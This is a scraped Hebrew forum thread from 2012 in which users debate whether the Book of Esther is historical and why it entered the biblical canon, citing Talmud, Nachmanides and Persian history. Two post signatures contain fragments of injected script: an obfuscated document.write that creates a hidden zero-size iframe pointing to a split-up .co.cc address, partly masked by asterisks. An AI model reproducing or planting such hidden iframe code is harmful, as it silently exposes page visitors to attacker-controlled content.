| נשלח ב-8/3/2012 11:08 |
 |
| |
המגילה אמיתה של תורה או בדיה.
ובכן הכותרת הכן מתמיה אבל זו במפורש השאלה שמציב הד"ר שלמה טיקוצ'ינסקי במאמר ב ynet טיקוצ'ינסקי אחינו של המשגיח בסלובודקה חניך ישיבת פונביז' כיום ואן לייר טוען שהפרסים מעולם לא רדפו אחרי בני דתות אחרות או בני תרבויות אחרות ומלך פרס לא יתכן שיקח אישה שאינה פרסית . ובכלל הוא מקשה ההיתכן שאסתר תתבולל בחצר המלך ותיגעל במאכלות אסורות
ובכן מעבר לשאלות לוגיות כמו הרי אסתר הסתירה את מוצאה ובהחלט יתכן שהמלך לא ידע שהיא לא פרסית ולגבי אסתר הרי חז"ל הסבירו מה היו הנסיבות הרי מעל לכל מרחפת השאל בצע"ג מדוע מקורותינו פחותים ממקורות אקדמאים כאלה או אחרים.
|
|
|
|
| נשלח ב-12/3/2012 14:45 |
|
| |
הדו-שיח בין אסתר לחכמים, דהיינו אנשי כנסת הגדולה, התרחש כ-150 שנה לפני אלכסנדר מוקדון, בתקופת המלך חשיארש הראשון אותו המחקר ההיסטורי מזהה עם אחשורוש.
הדו שיח הזה לא התרחש מעולם, הוא התרחש בבית מדרשו של שמואל- בבל ,
http://www.aplaton.co.il/story_179
ראה את הקישור
תוקן על ידי ירוחםשמ ב- 12/03/2012 14:59:05
|
|
|
|
| נשלח ב-12/3/2012 13:08 |
|
| |
מיימוני,
אפשר לומר שמגלת אסתר הינה הסוף של התורה שבכתב וההתחלה של התורה שבעל-פה. על-כן אפשר לדרוש פסוקים מהמגילה כי הינה חלק מהנ"ך, וההלכות בה מחייבות כי אלה תקנות חכמים מכח התורה שבעל-פה. לדעת שמואל מסתבר שהמגילה הינה רק תורה שבעל-פה ולכן אסורה להיכתב, אלא שמעמדה של מגלת אסתר התקבל כדעת חכמים.
ירוחם,
הדו-שיח בין אסתר לחכמים, דהיינו אנשי כנסת הגדולה, התרחש כ-150 שנה לפני אלכסנדר מוקדון, בתקופת המלך חשיארש הראשון אותו המחקר ההיסטורי מזהה עם אחשורוש.
|
|
|
|
| נשלח ב-12/3/2012 12:24 |
|
| |
נזכרתי.
רמב"ן דברים פרק ד
וכך אמרו (מגילה יד א) לענין מקרא מגלה, מאה ושמונים נביאים עמדו להם לישראל ולא פחתו ולא הוסיפו על מה שכתוב בתורה אפילו אות אחת חוץ ממקרא מגילה מאי דרוש וכו'. ובירושלמי (מגילה פ"א ה"ז) שמונים וחמשה זקנים ומהם כמה נביאים היו מצטערים על הדבר, אמרו כתוב אלה המצות אשר צוה ה' את משה, אלו המצות שנצטוו מפי משה, כך אמר לנו משה ואין נביא אחר עתיד לחדש דבר לכם, ומרדכי ואסתר רוצים לחדש לנו דבר, לא זזו משם נושאין ונותנין בדבר עד שהאיר הקדוש ברוך הוא עיניהם וכו'. הרי שהיתה המצוה הזו אסורה להם, א"כ היא בכלל לא תוסיף עליו, אלא שלא למדנו למוסיף על פי נביא אלא מן הכתוב שאמר "אלה המצות" אין נביא רשאי לחדש בו דבר מעתה.
|
|
|
|
| נשלח ב-12/3/2012 11:47 |
|
| |
הדיאולוג הזה מעולם לא היה זה דיאולוג וירטואלי, ואם זה מופיע אצל שמואל - אז כנראה גם החכמים כתבו אותה.
על שיקוליהם של אנשי כנסת הגדולה- אני יכול רק לשער- אגב כמה שמות אתה מכיר מאנשי כנסת הגדולה שלפי הגמרא היו מעל 200-?
מרדכי היה מאנשי כנסת הגדולה, וכנראה שהיו בה עוד הרבה מהתפוצה הבבלית והפרסית, בבל ובפרס חיו הרבה יותר יהודים מאשר בארץ- כמו בשנותיה הראשונות של המדינה- משקלם הפוליטי וכוחם של אנשי הגלות בכה"ג היה חזק יותר מאשר ליושבי הארץ-בקואליציה של הממשלה הרוחנית שהיתה בהנהגתם.
אבל כמובן שזו השערה מבוססת, אבל השערה. העובדה היבשה היא, שהמגילה מתעלמת מירושליים מארץ ישראל, מאלוקי ישראל,וכ'
זו היתה אז -כמו היום- האידיולוגיה של רבים ממנהיגי האומה.
תוקן על ידי ירוחםשמ ב- 12/03/2012 11:59:49
|
|
|
|
| נשלח ב-12/3/2012 11:07 |
|
| |
.
מתי אירע הדיאלוג בין חכמים לבין אסתר - איננו יודעים.
לא כל דבר המופיע בגמרא - התרחש בזמן התנאים או האמוראים, והמדרש - היה כפשוטו או לא - משקף כמה וכמה דברים.
טענתך שהכנסת המגילה לתנ"ך נעשתה כדי להצדיק את החיים בגלות תמוהה, שהרי המכניסים - עשו זאת בארץ ישראל, לא בבבל. מה לאנשי כנסת הגדולה ביהודה ולהצדקת הגולים בבבל? קרובים יותר היו הם לדברי מוכר הדגים הטברייני, שהאשים את היהודים שלא עלו בחומה בחורבן הבית השני, מאשר למי שנותר על סיר הבשר.
אגב "לא שינו את שמם" - עיין בבקשה בספר שמות. פנחס, אחירע...
|
|
|
|
| נשלח ב-12/3/2012 10:46 |
|
| |
הדו שיח הדמיוני בין חכמים לבין אסתר-כפי שהגמרא מביאה במגילה ז., התרחשה כ500 שנה לאחר כיבושו של אלכסנדר מוקדון, ומלכות פרס על מכונה מאז ועד ימינו.
גילוי נאות אני מקיים את מצוות קריאת המגילה ככתבה וכלשונה, ומקיים מצוות לבסומי- עד.. ולא עד בכלל.
אבל אני חושב כמו רבים אחרים- שמגילת אסתר לא היתה צריכה להכנס לקנון של ספרי הקודש, כי חסרים בה כל הסממנים המתאימים לכתבי קודש.
המגילה הוכנסה לקנון מסיבות פוליטיות, שליליות ומזיקות,
יש לגיטימציה לגלות כמקום מגורים ליהודים, לא מוזכר בה אפילו ברמז ארץ ישראל ירושליים. בית הבחירה ספר התורה והמצוות, וכמובן לא הוזכר בה אפילו ברמז שם ה'. היהודים בעלי שמות נכרים מובהקים,
כלומר אפשר לחיות בגלות, בלי -אל- בלי תורה -בלי ארץ ישראל וירושליים, אלו העובדות,
חז"ל ניסו לתקן את הדבר במקצת- כשקשרו את שושן פורים לכיבוש הארץ על ידי יהושוע, אבל מעוות לא יכול לתקון.
|
|
|
|
|
| נשלח ב-12/3/2012 09:07 |
|
| |
| מ80 כתב: |  | ירוחם, זו תשובה טובה, אלא שהממלכה האחמנית נכבשה ע"י הממלכה הסלאוקית-הלניסטית שנכבשה ע"י האימפריה הפרתית שנכבשה ע"י האימפריה הסאסאנית שנכבשה ע"י המוסלמים והמונגולים.
|
|
על ידי אלכסנדר מוקדון, כמובן.
|
|
|
|
| נשלח ב-12/3/2012 09:07 |
|
| |
| ירוחםשמ כתב: | | מגילה דף ז. אמר רב שמואל בר יהודה: שלחה להם אסתר לחכמים: קבעוני לדורות! שלחו לה: קנאה את מעוררת עלינו לבין האומות. שלחה להם: כבר כתובה אני על דברי הימים למלכי מדי ופרס.
והנה -לא מצאנו את שמה כתובה על דברי הימים של מדי ופרס.
מ - מה עם השאלה שלי. על המן מן התורה? |
|
ירוחם - אתה שב ושוכח:
אין בידינו את הארכיונים של מלכי מדי ופרס. ובלשון ההיסטוריונים - הארכיונים של השושלת האחמנידית לא הגיעו אלינו. קראתי פעם באיזשהו מקום שהם הושמדו במהלך הכיבוש של אלכסנדר מוקדון (333 לפנה"ס).
בין אם היו ארכיונים כאלו ובין אם לא - אנחנו לא ראינום, ואין בידינו גם תיאורים מכלי שני שלהם. הרודוטוס כתב את דבריו ממה ששמע - לא מקריאת חומר פרסי - הוא לא יכול היה לקרוא חומר כזה.
|
|
|
|
| נשלח ב-12/3/2012 08:12 |
|
| |
אני מוסיף מה ששכחתי.
נכון שיש המפרשים שהמן תלה ע"ז על צווארו או דבר בדומה לזה. אבל האם זו מסורת היסטורית? לי מסתבר שזה היה ניחוש אינטליגנטי שבא להסביר מדוע באמת מרדכי לא יכרע ולא ישתחוה, שהרי המלך צווה לעשות כן, ואין איסור על כך בתורה כפי שמוכיחים מעשי אבותינו, כגון יעקב ונתן הנביא.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-12/3/2012 08:11 |
|
| |
ושם האחר
יפה כתבת! איקון ירוק לך. שהרי קנאת האמת שכיחה, ובמיוחד בין חברינו, ואני עצמי יודע כמה קשה לי לשמור על לשון זהירה.
***
ירוחם
יפה שאלת, ואני חוזר כי זה היה בעמוד הקודם. בגמרא הביאו שאסתר כתבה לחכמים שסיפורה מפורסם ואף כתוב על דברי הימים של מלכי פרס. והנה, לא מצאנו שהוא כתוב.
השאלה שיש לשאול, והעיר עליה מואדיב (ושוב מ80): האם יש בידינו את הספריה של דברי ימי הפרסים, כולה או מקצתה.
ובזה דומה שאין בידנו כמעט כלום. אני מסתמך על מה שכתב מואדיב כי רוב הידיעות שלנו על מלכות פרס ומדי הן מכתיבתם של היסטוריונים יוונים, הרחוקים מרחק של זמן, מקום, תרבות וערכים. והם בחזקת אויבים. עד כמה זה משפיע על כתיבתם איני יודע כי איני מכירם.
***
מ80
כמדומה שיש לחלק בין רמות שונות בחשיבות המיוחסת למגילה. וכולן עשויות להימצא בדיון על מעמדה של המגילה במסכת מגילה.
א. האם דברי המגילה מחייבים להלכה. ומדוע? האם בגלל סמכותם של מרדכי ואסתר או בגלל שחכמים קיבלו את דבריהם. ומהיכן יודעים זאת (לייבוביץ היה אומר: בגלל שחכמים אישרו את הדברים. ולכאורה הם דברי הגמרא שאף אתה הבאת).
ב. האם ניתן לדרוש הלכות מן המגילה כפי שדורשים פסוקי תורה.
דוגמא לדרשות כאלו יש במסכת מגילה עצמה ("זמנים הרבה קבעו להם חכמים" וזאת על סמך דרשות הפסוקים המספרים על התקבלות המגילה לקריאה לדורות ושאר מנהגי או הלכות הפורים).
וגם שם הגמרא שואלת מנין שניתן לדרוש.
ג. האם כתיבת המגילה אינה איסור מחמת האיסור לכתוב תורה שבעל פה. (אך משתמע מן השאלה שהמגילה היא תורה שבעל פה? כאן נראה לי שאני מחמיץ משהו).
על זה השיבו שהיה רמז, והכל כפי שכתבת. אבל הרמז אינו מצביע על המגילה. לכל היותר אפשר לומר שנמצא רמז לכך שכתבי הנביאים והסופרים יורחבו, ולכן אפשר שהרמז מצביע על המגילה.
אלו שלוש רמות שונות של ייחוס חשיבות, מעמד הלכתי ואמיתיות היסטורית למגילה. ומסתבר שיש עוד רמות של דיון.
__תוקנה טעות הקלדה שאותרה בזמן דחזי לתיקוני_______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 12/03/2012 08:13:55
 |
|
|
|
|
| נשלח ב-12/3/2012 00:42 |
|
| |
פרס איננה בבל, ואם פרס (הממלכה האחתמית) היתה המשכיות של מדי, הרי שהממלכה ההלניסטית לא היתה המשך שלטוני של פרס, וכנ"ל הממלכות שבאו בעקבותיה.
אומרת הגמרא: המן מן התורה מנין. פירוש רש"י: למעשה המן. המן העץ. פירש רש"י: יתלה על העץ.
|
|
|
|
| נשלח ב-11/3/2012 23:36 |
|
| |
נכון אבל הערים והארמונות והגנזך הממלכתי לא ניזוקו. כל כיבוש היה המשך שלטוני,
אתה יודע למשל שקהילת יהדות בבל, ישבה בבל -מאז חורבן בית ראשון- מעולם לא גורשו מבבל בשום שלב -שלשת אלפים שנה- עד קום המדינה.
אגב מה עם השאלה שלי?
|
|
|
|
| נשלח ב-11/3/2012 22:10 |
|
| |
ירוחם, זו תשובה טובה, אלא שהממלכה האחמנית נכבשה ע"י הממלכה הסלאוקית-הלניסטית שנכבשה ע"י האימפריה הפרתית שנכבשה ע"י האימפריה הסאסאנית שנכבשה ע"י המוסלמים והמונגולים.
|
|
|
|
| נשלח ב-11/3/2012 21:57 |
|
| |
כי אנחנו גלינו מארצנו- כבשו והרסו את ערינו ואת מקדשנו- ואצל הפרסים והבבלים - זה לא.היה.
|
|
|
|
| נשלח ב-11/3/2012 21:48 |
|
| |
ירוחם, אם אינני טועה כבר הרחבת והסברת את דברי חז"ל הנ"ל באשכול אחר.לנו אין את כל ספרי התולדות שנכתבו בתקופת בית ראשון, וחלקם נזכרים בשמותיהם בנ"ך, אז מדוע אי-אפשר להניח שגם חלק מספרי ההיסטוריה של מדי ופרס, בם נזכר שמה של אסתר, כבר אינם מצויים?
|
|
|
|
|
